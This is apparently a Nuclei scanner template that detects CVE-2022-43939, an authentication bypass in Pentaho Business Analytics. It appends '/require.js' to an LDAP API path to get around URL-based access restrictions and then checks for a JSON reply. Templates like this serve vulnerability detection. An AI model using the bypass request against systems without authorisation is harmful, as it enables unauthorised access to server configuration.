id: CVE-2022-43939

info:
  name: "Hitachi Vantara Pentaho Business Analytics - Authentication Bypass"
  author: vedas-arpsyndicate
  severity: high
  description: |
    Hitachi Vantara Pentaho Business Analytics Server versions before 9.4.0.1 and 9.3.0.2, including 8.3.x contain
    security restrictions using non-canonical URLs which can be circumvented.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2022-43939&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=pentaho&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H
    cvss-score: 8.6
    cve-id: CVE-2022-43939
    cwe-id: CWE-647
  metadata:
    verified: false
  tags: cve,cve2022,pentaho,hitachi,auth-bypass,vkev,kev,vuln
flow: http(1) && http(2)

http:
  - method: GET
    path:
      - '{{BaseURL}}/pentaho/Login'

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "Pentaho User Console - Login")'
        condition: and
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/pentaho/api/ldap/config/ldapTreeNodeChildren/require.js"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - 'Path=/pentaho'
          - 'application/json'
        condition: and

      - type: word
        part: body
        words:
          - '{}'

      - type: status
        status:
          - 200